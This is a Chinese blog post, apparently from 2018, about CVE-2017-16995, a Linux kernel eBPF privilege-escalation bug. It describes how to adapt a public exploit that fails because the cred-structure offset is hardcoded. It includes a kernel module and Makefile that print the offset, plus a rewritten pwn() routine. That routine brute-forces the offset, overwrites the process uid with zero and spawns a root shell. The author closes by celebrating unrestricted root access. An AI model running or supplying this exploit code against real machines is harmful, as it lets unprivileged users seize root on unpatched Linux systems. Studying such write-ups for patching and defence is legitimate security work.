CVE-2017-16995

2018-03-21 本文已影响150人龙心之火

title: CVE-2017-16995
date: 2018-03-21 02:02:35
tags: linux-kernel-exploits

Ubuntu本地提权攻击预警

漏洞描述

该漏洞存在于带有 eBPF bpf(2)系统（CONFIG_BPF_SYSCALL）编译支持的Linux内核中，是一个内存任意读写漏洞。该漏洞是由于eBPF验证模块的计算错误产生的。普通用户可以构造特殊的BPF来触发该漏洞，此外恶意攻击者也可以使用该漏洞来进行本地提权操作。

POC

原作者exp此处可下载(可能需要梯子，这里copy了一份)，然而直接运行，很多机器是无法提权成功的。

源代码注释头有说到:

if different kernel adjust CRED offset + check kernel stack size

针对这个魔鬼数字:CRED_OFFSET=0x5f8

魔鬼数字:CRED_OFFSET

这篇文章也说明了真相：

cred结构体的偏移量可能因为内核版本不同、内核编译选项不同而出现差异，作者给的exp偏移量是写死的

此文作者也给出了一种应对之策：

获取cred offset常量（一）

通过以下方法可获取这个cred offset:

1、getCredOffset.c

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/kthread.h>
#include <linux/errno.h>
#include <linux/types.h>
int init_module()
{
    printk("[!]current cred offset:%x\n",(unsigned long)&(current->cred)-(unsigned long)current);
    return 0;
}
void cleanup_module()
{
    printk("module cleanup\n");
}

2、Makefile

obj-m += getCredOffset.o
 
all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
         
clean:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

3、编译

make

4、执行

sudo insmod getCredOffset.ko

该命令需要有sudo权限的用户执行，通过insmod命令将getCredOffset模块注入内核

5、获取cred offset

dmesg | grep "cred offset"

另开一个命令行执行该命令即可获取到cred offset，最后替换掉原exp中的偏移量即可成功提权。

然而，虽提权成功了，但此法有点怪异，本来想普通用户提权，但却需要用root用户执行命令来协助，有点力不从心。

那么问题又来了，该如何在不同的机器上动态获取这个cred offset呢？

获取cred offset常量——暴力尝试

经过上文作者的点拨：

这个漏洞是个任意地址读写漏洞，所以也可以在确定task_struct地址之后，以当前用户的uid为特征去搜索内存，毕竟cred离task_struct不远。

加上代码中有多处__read命令，以及getuid()命令，这两个命令都可以读取uid。
首先想到的是在往uidptr对应的地址中写0之前获取此时的uid值，通过以上两种方式对比看有什么差异：

printf("uidptr      = %lx\n", uidptr);
uid_get=getuid();
uid_read=__read(uidptr);
printf("uid get=%lx,read=%lx\n",uid_get, uid_read);

__write(uidptr, 0); // set both uid and gid to 0

if (getuid() == 0) {
    printf("spawning root shell\n");
    system("/bin/bash");
    exit(0);
}

果然如下图所示：

提权成功
那么规律来了，我们可以尝试以不同的cred offset来获取两个uid来进行对比，一旦对比上，姑且就当做找到了这个“确定”的值，然后再去write(0)。修改pwn函数如下：

static void pwn(uint64_t credoffset) {
    uint64_t fp, sp, ts, credadd, credptr, uidptr, uid_get, uid_read;
    fp = __get_fp();
    if (fp < PHYS_OFFSET)
        __exit("bogus fp");
    
    sp = get_sp(fp);
    if (sp < PHYS_OFFSET)
        __exit("bogus sp");
    
    ts = __read(sp);

    if (ts < PHYS_OFFSET)
        __exit("bogus task ptr");

    printf("task_struct = %lx\n", ts);

    uid_get=getuid();
    for(credoffset=0x400;credoffset<0x800;credoffset++){
        credadd=ts + credoffset;
        printf("credadd     = %lx\n", credadd);
        credptr = __read(credadd); // cred
        printf("credptr     = %lx\n", credptr);
        if (credptr < PHYS_OFFSET){
            continue;
        }
        uidptr = credptr + UID_OFFSET; // uid
        if (uidptr < PHYS_OFFSET){
            continue;
        }
        printf("uidptr      = %lx\n", uidptr);
        uid_read=__read(uidptr);
        printf("uid get=%lx,read=%lx\n",uid_get, uid_read);
        if((uid_read&0xffffffff)==uid_get){
            printf("uid get=%lx,read=%lx\n",uid_get, uid_read);
            __write(uidptr, 0); // set both uid and gid to 0
            printf("cred_offset = %lx\n", credoffset);
            if (getuid() == 0) {
                printf("spawning root shell\n");
                system("/bin/bash");
                exit(0);
            }
            printf("failed\n");
            break;
        }
    }
}

想到原作者Vitaly Nikolenko给的CRED_OFFSET=0x5f8，我这边通过rebeyond这里给出的方法获取的是0x670，猜测这个值应该范围不大，尝试了一下用0x400~0x800爆破，很不幸，第一次尝试失败，被系统给killed掉啦：

系统不听话了

调整一下范围：0x500~0x800，ok 搞定！

系统还是很乖的~

不同机器此CRED_OFFSET偏移量可能还有差异，可以视情况稍微调整一下范围，试出结果应该不难。

最后来体验一把提权后带来的快感，root用户想干嘛干嘛，如图：

root用户想干嘛干嘛~

完整代码见这里。

参考链接：